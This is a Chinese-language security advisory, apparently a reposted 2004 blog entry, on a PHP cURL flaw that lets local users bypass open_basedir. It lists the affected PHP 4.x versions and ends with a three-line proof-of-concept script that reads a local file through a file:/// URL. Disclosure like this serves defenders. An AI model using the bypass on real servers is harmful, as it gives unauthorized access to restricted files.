PHP的cURL函数存在一个问题，本地攻击者可以利用这个漏洞使脚本绕过'open_basedir'目录设置。
FraMe报告本地用户可以调用cURL(liburl)函数绕过'php.ini'文件中的'open_basedir'限制和其他目录来访问文件。
<*来源：FraMe （frame@hispalab.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=109898213806099&w=2
*>
受影响系统：
PHP PHP 4.3.9
PHP PHP 4.3.8
PHP PHP 4.3.7
PHP PHP 4.3.6
PHP PHP 4.3.3
PHP PHP 4.3.2
PHP PHP 4.3.1
PHP PHP 4.3.0
PHP PHP 4.2.3
PHP PHP 4.2.2
PHP PHP 4.2.1
PHP PHP 4.2.0
PHP PHP 4.1.2
PHP PHP 4.1.1
PHP PHP 4.1.0
PHP PHP 4.1
PHP PHP 4.0.7
PHP PHP 4.0.6
PHP PHP 4.0.5
PHP PHP 4.0.4
PHP PHP 4.0.3pl1
PHP PHP 4.0.3
PHP PHP 4.0.2
PHP PHP 4.0.1pl2
PHP PHP 4.0.1pl1
PHP PHP 4.0.1
PHP PHP 4.0 |
| |
| 攻击方法： |
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
FraMe （frame@hispalab.com）提供了如下测试方法：
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch) ;
echo $file
?>
|
发表于 @ 2004年11月03日 11:21:00|评论(loading...)|编辑